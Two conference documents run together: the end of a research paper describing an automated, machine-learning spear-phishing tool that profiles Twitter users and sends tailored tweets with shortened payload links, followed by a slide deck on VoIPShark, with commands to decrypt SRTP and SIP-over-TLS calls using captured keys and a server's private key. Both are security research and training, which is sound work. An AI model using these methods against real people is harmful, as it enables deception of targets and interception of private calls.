rates.  2  Machine Learning: An Offensive Approach  A proof of concept for automatically generating phishing emails, Honey­Phish, was first  demonstrated at Shmoocon 2016 [5]. It targeted phishers themselves and attempted to trick  them into clicking a link. Since a corpus of phishing emails was unavailable, Honey­Phish used  a Markov Model [6] trained on Reddit posts from /r/personalfinance. But the model­generated  English was noticeably different than what a human would write, so only 2 phishers responded  out of 41 phishing emails generated.  We make this approach viable by switching the social environment: we post on Twitter instead  of sending an email. This allows us to scale both on the number of targets and on accuracy by  tailoring the messages using personal data. Furthermore, on Twitter, the culture readily accepts  broken English (we call this Twitterese) because of its 140­character limit.  Twitterese has several interesting side effects that can be utilized for ML. Because short  messages are the norm, messages produced by the model have decreased probability of  grammatical error. Furthermore, to adapt to this constraint, links on Twitter are almost always  shortened. This can be used to obfuscate a phishing domain, increasing the rate of  clickthroughs. Other useful quirks of Twitterese include the abundant use of emojis, and the fact  that victims disclose an absurd amount of personal data. These factors can all be used to  generate more human­like messages and avoid suspicion.  High­level Description of Tool  The tool takes in a list of twitter usernames (e.g. from Twitter’s User Streaming API endpoint),  then triages the users based on probability of success, which is determined from their account  details and their posted personal information. If the user is relatively more vulnerable or has a  high value, it selects them as a target, then automatically sends them a message with an  embedded “phishing” link.  When a target is selected, the tool extracts a topic and the timing history for that user’s tweets  and replies in order to seed the phishing tweet generation. This is the bottleneck for our tool  because the Twitter API rate limits retrieval to 180 timelines consisting of 200 posts per 15  minutes. Modifications can be made to allow scaling laterally with respect to runtime using  intelligent API token swapping strategies. We allow for tuning the tradeoff of throughput and  accuracy by providing a parameter which defines the number of timeline calls per user. We  found that the most frequently occuring words, excluding stopwords like common prepositions,  were the most effective seeds for the tool. We bucketize the posts by the hour they were  posted, and we schedule the phishing tweet to be sent at a random minute within the hour that  the user historically posts most frequently.  3  We pre­train a neural network for generating tweets using a combination of spear phish  pen­testing data, Reddit submissions, and tweets. We also allow for Markov models trained  using the target’s recent posts. We measure two types of successful phishing results: responses  from questions in the DEFCON SECTF [7] as a proxy for successful information exfiltration and  clicks from an IP­traced shortened link to simulate a successful pwn.  A powerful aspect of our method is that it generalizes across different languages and  demographics out­of­the­box, since generated tweets simply reflect content that’s publicly  available on the target’s timeline.   Target Discovery  If we indiscriminately spam everyone on Twitter with phishing links, we would quickly be  discovered and have our accounts terminated due to ToS violations. Therefore, we triage users  to determine which ones are either more likely to be phished or provide exceptional value.  We first cluster users into groups based on their profiles, using data such as the amount of  information revealed in their profile, follower interactions, and engagement metrics. Further, if  any information on their profile indicates that they would be a high­value target (such as job  titles, particular list membership, and popularity), we use that data as well.  Using the clusters, we collect users from the Twitter Firehose and predict which cluster the user  fits into. If they fit into a cluster displaying features identified as likely to lead to a successful  phish, they are selected as a target, and recon for automated profiling is performed. Features  extracted from their timeline include:  1. How frequently do they post? When are they likely to respond?  2. What topics do they tend to tweet about or respond to?  We have also considered the following features:  3. What is the sentiment on those topics?  4. Can we extract their location from geotagged media?  5. Can we find any patterns of behavior?  6. Can we find any large events they’ve gone to recently or plan to go to in the future?  We use these features as parameters to determine when to post the tweet and how to seed the  model.  4  Automated Spear Phishing  After a target is determined, we send them a machine­generated tweet with either an embedded  link or a DEFCON SECTF question. To generate tweets, we use both Markov Models [6] and  Long Short­Term Memory (LSTM) recurrent neural networks [8].   Markov models generate text word by word based on probabilities of word co­occurrences in the  training set. For example, if the training data has many instances of the phrase “the cat in the  hat”, then if the model generates the word “the”, it will likely generate either “cat” or “hat” as its  next word. However, the model does not consider any context prior to the current word when  generating the next, so oftentimes the output will be nonsensical.  LSTMs differ from Markov Models by being able to remember context from earlier in the  sentence when predicting the next word. LSTMs have been used extensively for NLP because  language is naturally sequential and words that are separated by a large distance may still be  related to each other. However, the increase in accuracy of LSTMs comes at a cost as they  require more time and data to train.  Example of a Facebook phishing post used as training data.  To avoid the computational cost of retraining these models for each user, we pre­train these  models on spear phishing data and seed them with a topic generated from automated profiling.  There is no standard corpus for phishing emails, much less phishing tweets, so we create our  own using spear phishing attacks from numerous sources, e.g. [9]. We supplement this data  with streamed tweets from the Twitter API Streaming Endpoint. Finally, since Twitter’s API  allows us to post the generated tweet autonomously, we use the target’s own post history to  select a time when they are likely to observe and respond to our tweet.  Example of a machine­generated tweet.  5  To evaluate our model, we place links inside the generated tweets leading to a payload,  shortened using goo.gl. If the user clicks through, we record the timestamp, user­agent, and  screenname that the tweet was sent to. We prepend generated tweets with a @mention  directed at our target in order to decrease the chance that a user other than the target clicks on  the link.  Goo.gl analytics from a malicious shortened link.  6  Though large­scale phishing campaigns tend to have very low compromise rates, they persist  because the few examples that do succeed lead to a high return on investment. On tests  consisting of 90 users, we found that our automated spear phishing framework had between  30% and 66% success rate. This is more successful than the 5­14% previously reported in  large­scale phishing campaigns [10, 11], and comparable to the 45% reported for large­scale  manual spear phishing efforts [12]. We attribute our results to the unique risks associated with  social media and our ability to leverage data science to target vulnerable users with a highly  personalized message.  Conclusion  This work marks an advance in offensive capabilities through automation of a traditionally  manual process using ML techniques. Our approach is predicated on the fact that social media  is rapidly emerging as an easy target for phishing and social engineering attacks. We use  Twitter as our platform because of its low bar for admissible messages, its community tolerance  of convenience services like shortened links, its effective API, and its pervasive culture of  overexposing personal information.  Our end to end framework is entirely data­driven: we employ modeling techniques that learn the  relevant textual statistics of successful spear phishing campaigns on social media, and we use  those models to generate tailored messages to high risk/high value Twitter users based on their  public content. Click­through rates are among the highest ever reported for a large­scale  phishing campaign, underscoring the efficacy of coordinated automatic social engineering at  scale.   There are existing frameworks such as the Social­Engineer Toolkit that automate the payload of  the phishing process, but none that tailor the phishing message to the target. We close this gap  and enable penetration testers to address larger groups of targets while not compromising the  quality of the spear phishing message. ​We present this automated end­to­end spear phishing  campaign generator in order to foster greater awareness and understanding of spear phishing  and social engineering attacks.  References  [1] ​Maynor, David. Metasploit toolkit for penetration testing, exploit development, and vulnerability research.  Elsevier, 2011.  [2] Weizenbaum, Joseph. "ELIZA—a computer program for the study of natural language communication  between man and machine." ​Communications of the ACM​ 9.1 (1966): 36­45.  [3] Sahami, Mehran, Dumais, Susan, Heckerman, David, and Eric Horvitz. "A Bayesian approach to filtering  junk e­mail." ​Learning for Text Categorization​: ​Papers from the 1998 workshop​. Vol. 62. 1998.  7  [4] Pavković, Nikola, and Luka Perkov. "Social Engineering Toolkit—A systematic approach to social  engineering." ​MIPRO, 2011 Proceedings of the 34th International Convention​. IEEE, 2011.  https://www.trustedsec.com/social­engineer­toolkit/  [5] Gallagher, Robbie, “​Where Do the Phishers Live? Collecting Phishers’ Geographic Locations from  Automated Honeypots”, ​2016​ ​ShmooCon​, ​https://bitbucket.org/rgallagh/honey­phish  [6] ​Markov, Andrey A. "Extension of the limit theorems of probability theory to a sum of variables  connected in a chain". reprinted in Appendix B of: R. Howard. ​Dynamic Probabilistic Systems,  volume 1: Markov Chains​. John Wiley and Sons, 1971.  [7] ​http://www.social­engineer.org/wp­content/uploads/2015/11/SECTF­2015_Public.pdf  [8] Gers, Felix A., Jürgen Schmidhuber, and Fred Cummins. "Learning to forget: Continual prediction with  LSTM." ​Neural Computation​ 12.10 (2000): 2451­2471.  [9] ​https://shkspr.mobi/blog/2015/08/would­you­fall­for­this­twitter­phishing­attack/  [10] Thompson, Steven C. "Phight Phraud." Journal of Accountancy 201.2 (2006): 43.  [11] Jakobsson, Markus, and Jacob Ratkiewicz. "Designing ethical phishing experiments: a study of  (ROT13) rOnl query features." ​Proceedings of the 15th international conference on World Wide Web​.  ACM, 2006.  [12] Bursztein, Elie, et al. "Handcrafted fraud and extortion: Manual account hijacking in the wild."  Proceedings of the 2014 Conference on Internet Measurement Conference​. ACM, 2014.  8
pdf
PentesterAcademy.co m/ ©PentesterAcademy.com VoIPShark:+Open+Source+VoIP+Analysis+ Platform+ Nishant/Sharma/ Jeswin+Mathai+ Ashish+Bhangale+ PentesterAcademy.com+&+AttackDefense.com+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ About+Us+ Me,/Nishant/Sharma/ •  R&D+Manager+and+Lead+Trainer,+Pentester+Academy+ •  Firmware+developer,+Enterprise+WiFi+APs+and+WIPS+Sensors+ •  Masters+degree+in+Infosec+ •  Published+research+at+Blackhat+US/Asia,+DEF+CON+USA+and+other+venues+ + Co-authors+ •  Ashish/Bhangale,+Sr.+Security+Researcher+ •  Jeswin/Mathai,+Security+Researcher+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PentesterAcademy.com+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ AttackDefense.com+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Talk+Overview+ •  VoIP+Basics+ –  SIP,+RTP+ –  Secure:+TLS,+SRTP++ + •  Recovering/Decrypting+VoIP+Calls+ + •  Current+open+source+tools+and+issues+ + •  VoIPShark+ –  Architecture+and+Internals+ –  Analyzing+VoIP+Traffic+ –  Recovering+Calls+ –  Detecting+Attacks+Passively+ –  Demo+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIP+Telephony+ •  Signalling+++Media++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Signalling+Protocols++ SIP/(Session/Initiation/Protocol)+ •  Developed+by+the+IETF+ •  Replacement+for+the+desk+phones+and+PSTN+(Public+Switched+Telephone+Network)+ + H.323+ •  Created+by+the+ITU-T+ •  Focused+on+videoconferencing+but+also+used+for+voice+calls+ + SCCP/(Skinny)+ •  Cisco+proprietary+protocol+used+for+line-side+control+of+phones+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Session+Initiation+Protocol+ •  Text-based+protocol+ •  Applications++ –  Calls+(audio,+video)+using+other+media+steams+like+RTP+ –  Text+messages+using+SIP+“Message”+method+ •  Works+with+other+protocols+ •  Session+Description+Protocol+(SDP)+to+define+with+media+negotiation+and+setup+ •  Can+operate+over+TCP,+UDP+or+SCTP+(Stream+Control+Transmission+Protocol)+ •  Security+is+provided+by+TLS+(Transport+Layer+Security+)+i.e.+SIP+over+TLS.+ + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SUBSCRIBE,+PUBLISH+and+NOTIFY++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Session+Initiation+Protocol:+Sample+Call+Flow+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ User+Agent+Server+(UAS)+Solutions+ www.sipfoundry.org+ freeswitch.org+ www.elastix.org+ www.asterisk.org+ www.3cx.com+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Softphone+clients+ •  Program+for+making+telephone+calls+over+IP+ •  Some+options+ –  Zoiper+ –  X+Lite+ –  LinPhone+ –  MicroSIP+ Factors/in/choosing/a/good/softphone/client+ •  Check+codec+support+ •  Check+encryption+capabilities+(Especially+in+free+versions)+ •  Other+functionalities+(i.e.+Text+message+option,+hold,+waiting+etc.)+ www.zoiper.com+ www.microsip.org+ www.linphone.org+ www.counterpath.com/x-lite-download+ www.3cx.com+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Asterisk+Now+ + = PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Scenario+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Possible+Configurations+ •  SIP+++RTP+ + •  SIP+over+TLS+++RTP+ + •  SIP+++SRTP+ + •  +SIP+over+TLS+++SRTP+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Possible+Configurations+ •  SIP/+/RTP/ + •  SIP+over+TLS+++RTP+ + •  SIP+++SRTP+ + •  +SIP+over+TLS+++SRTP+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SIP/SDP+Packets+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ RTCP+Packets+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ RTP+Packets+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Recovered+VoIP+Calls+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Flow+Sequence++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Reconstructed+Call++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Possible+Configurations+ •  SIP+++RTP+ + •  SIP+over+TLS+++RTP+ + •  SIP/+/SRTP/ + •  +SIP+over+TLS+++SRTP+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+key+in+SDP+packet+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Encrypted+Call+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Possible+Configurations+ •  SIP+++RTP+ + •  SIP/over/TLS/+/RTP/ + •  SIP+++SRTP+ + •  +SIP+over+TLS+++SRTP+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ No+SIP+Traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ TLS+Traffic+(SIP+over+TLS)+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ No+RTP+Traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Why+No+RTP+Traffic?+ •  Wireshark+uses+SDP+packet+to+figure+out+the+port+RTP/SRTP+stream+will+use.+ •  SIP+and+SDP+are+encrypted,+so+wireshark+can’t+figure+out.+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Undecoded+RTP+Traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decode+As+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decode+As+RTP+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ RTP+Traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Checking+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Analysing+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Playing+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Possible+Configurations+ •  SIP+++RTP+ + •  SIP+over+TLS+++RTP+ + •  SIP+++SRTP+ + •  /SIP/over/TLS/+/SRTP/ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ TLS+key+exchange+methods+ •  TLS+uses+symmetric+ciphers+(i.e.+AES,+Blowfish)+to+encrypt+the+data+ + •  Two/options/under/realistic/approach+ –  +DHE+(Diffie+Hellman+Key+Exchange)+ –  RSA+(Asymmetric+encryption)+ + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Diffie+Hellman+Exchange+ Assumption+ + •  Attacker+even+after+seeing+the+exchanged+colours+can’t++ guess+the+secret+colour.+ + •  Attacker+knows++ + +++++++and+also++ + +++++++But+can’t+know+which+colour+is+added.+ + More+on:+en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ RSA+(Asymmetric+Encryption+)+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Observations?+ •  Can’t+recover+keys+derived+with+ECDHE/DHE+by+listening+to+traffic+ + •  For+RSA,+if+we+can+get+private+key+of+server,+we+can+decrypt+traffic++ ++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ TLS+Traffic+(SIP+over+TLS)+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Diffie+Hellman+Exchange+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Undecoded+SRTP+Traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decode+As+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decode+As+RTP+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Checking+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Analysing+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Playing+RTP+Steams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ TLS+Traffic+(SIP+over+TLS)+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ RSA+based+key+exchange+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decrypting+TLS+traffic+ •  RSA+is+used+to+exchange+keys+ + •  We+can+decrypt+with+private+key+installed+on+Asterisk+One+++ + •  Keys/and/certificate/location/on/Asterisk/One:+/etc/asterisk/keys+ + •  We+have+to+get+the+default.key+from+the+server+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Edit+>+Preferences+>+Protocol+>+SSL+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Adding+Asterisk+default+private+key++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decrypted+SIP+traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+key+in+SIP/SDP+decrypted+packet+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Open+Source+Tools+for+Decrypting+SRTP+ •  SRTP+Decrypt+ + •  Libsrtp+ + + + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt+ •  Tool+to+decipher+SRTP+packets+ + •  Takes+symmetric+key+to+decrypt+the+SRTP+traffic++ + •  Output+decrypted+packets+in+form+of+hexdump+ + •  Wireshark+can+reconstruct+RTP+packets+from+the+hexdump++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt+ •  GitHub:+github.com/gteissier/srtp-decrypt+++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Pre-Installation+ •  Installing+libgcrypt+ + + + + + •  Installing+libpcap+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Installation+ •  Cloning+ + + + + •  Compiling+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Ready+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Copying+SRTP+key+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+UDP+Ports+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Decrypting+SRTP+Traffic+ Command:+./srtp-decrypt+-k+uK+RfjSi9/fUFr8zoJu6zdqPw6MGtONhgX4yqwRj+<+../ Normal_Call_two_parties.pcap+>+decoded.raw++ + •  -k++++++:+++++Defined+SRTP+key++(uK+RfjSi9/fUFr8zoJu6zdqPw6MGtONhgX4yqwRj+in+this+case)+ •  Normal_Call_two_parties.pcap++ +Input+file+ •  decoded.raw+ + + +Output+file+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+decoded.raw+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Importing+Decrypted+Content+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Importing+Decrypted+Content+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Imported+Decrypted+UDP+Packets+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Decode+As+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Decode+As+RTP+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Decoded+Packets+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Checking+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Analysing+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SRTP+Decrypt:+Playing+Decrypted+Call+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp+ •  Implementation+of+the+Secure+Real-time+Transport+Protocol+(SRTP)+ + •  Can+decipher+SRTP+packets+ + + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp+ •  GitHub:+github.com/cisco/libsrtp++++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Installation+ •  Cloning+ + + + + + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Installation+ •  Configure+ + + + + + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Installation+ •  Make+ + + + + + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Ready+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+SRTP+key+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Copying+SRTP+key+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Filtering+for+one+sender+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Filtering+single+RTP+stream+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Exporting+filtered+traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Saving+exported+traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Command+ •  ./rtp_decoder+-a+-t+10+-e+128+-b+2stvabBcXXf3HtaHCSsB8WACeRBst9f7lwLqlzqE+*+<+./ Normal_Call_two_parties_Exported_RTP.pcap+ + •  -a ++++++++++Use+message+authentication+ •  -t++++++++++++++Authentication+tag+size+(80+bits+so+10+bytes)+ •  -e+++++++++++++Length+of+encryption+key.+In+our+case,+AES_CM_128_HMAC_SHA1_80+is+cipher.+ ++++++++++Hence,+128+bit+key+is+used.+ •  -b+++++++++++++SRTP+key+in+ASCII+format+ + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Command+output+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+text2pcap+help+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+text2pcap+ •  text2pcap+-t+"%M:%S."+-u+10000,10000+-+-+>+./Normal_Call_two_parties_Decrypted.pcap+ + •  -t+++++++++++++++++++++++++Treat+the+text+before+the+packet+as+a+date/time+code+ •  %M:%S+++++++++++++++Time+format+ •  -u+++++++++++++++++++++++++Prepend+dummy+UDP+header+with+specified+source+and+destination+ports+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Decrypting+RTP+traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Decrypted+traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Decode+as+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Decode+as+RTP+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Decrypted+RTP+traffic+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Analysing+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Analysing+RTP+Streams+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Libsrtp:+Playing+decrypted+call+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Other+Important+Parts?+ •  DTMF+ + •  Messages+(SMS)+ + •  Exporting+Call+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ RTP+DTMF+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SIP+Message+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Online+service++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Uploading+PCAP+and+Downloading+Wav+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Wav+in+audacity+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Offline+script+ •  Bash+script+to+extract+the+audio+from+VoIP+calls+ + •  Outputs+.wav+file+ + •  Uses+tshark+and+sox+ + •  GitHub:+https://gist.github.com/avimar/d2e9d05e082ce273962d742eb9acac16++ + + + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Help+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Installing+tshark+and+sox+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Running+the+tool+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Directory+contents++ •  Directory+content+before+running+the+script+ + + + + •  Directory+content+after+running+the+script+ + PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ PCAP2WAV:+Wav+in+audacity+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIPShark+ •  Collection+of+Wireshark+plugins+to+ –  Decrypt+VoIP+calls+ –  Export+call+audio+ –  Overview+of+traffic+(Extensions,+SMS,+DTMF)+ –  Common+VoIP+attacks+ + •  GPL+just+like+Wireshark+ + •  Github:+github.com/pentesteracademy/voipshark++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIPShark:+Need?+ •  Cumbersome+and+complex+process+ + •  Multiple+tools+ –  Need+compilation,+hence+time+consuming+to+set-up++ –  Not+easy+to+use+ –  User+dependent,+prone+to+mistakes+ + •  Inability+to+retain+timestamp,+IP+addresses+etc.+during+decryption+ + •  Live+traffic+not+supported+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Why+Wireshark+Plugins?+ •  Plug+and+play+ + •  Plugins+can+be++ –  Lua+scripts+ –  Compiled+C/C+++code+ + •  Harnessing+power+of+Wireshark+ + •  OS+independent+ + •  Large+user+base+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Wireshark+Plugins+Types+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Dissector+ •  To+interpret+the+payload+data+ + •  Decodes+its+part+of+the+protocol+and+passes+the+payload+to+next+ + + + Example/Dissection/Flow+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Chained+Dissector+ •  Takes+data+from+previous+dissector,+processes+its+part+and+pass+the+payload+to+next+ dissector+ Example/Dissection/Flow PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIPShark:+Hook+in+Dissector+Chain+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIPShark:+Overall+Architecture+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIPShark:+Decryption+Routines+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Plugins+locations+ •  Check+Help+>+About+Wireshark+>+Folders+ / /Windows////////////////////////////////////////////////////////////////////////////////////Ubuntu+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decrypting+SRTP:+SRTP+Packets+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decrypting+SRTP:+Enabling+Auto+Decryption+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Decrypting+SRTP:+Decrypted+SRTP+(RTP)+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIPShark:+Exporting+Call+Audio+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Exporting+Call+Audio:+Specifying+Location+and+File+name+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ Exporting+Call+Audio:+Exported+Streams++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIPShark:+SIP+Information+Gathering++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SIP+Information+Gathering+:+DTMF+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SIP+Information+Gathering:+Extensions+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SIP+Information+Gathering:+RTP+Packet+Transfers+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SIP+Information+Gathering+:+SIP+Auth+Export+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ SIP+Information+Gathering+:+Servers+and+Proxy+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ 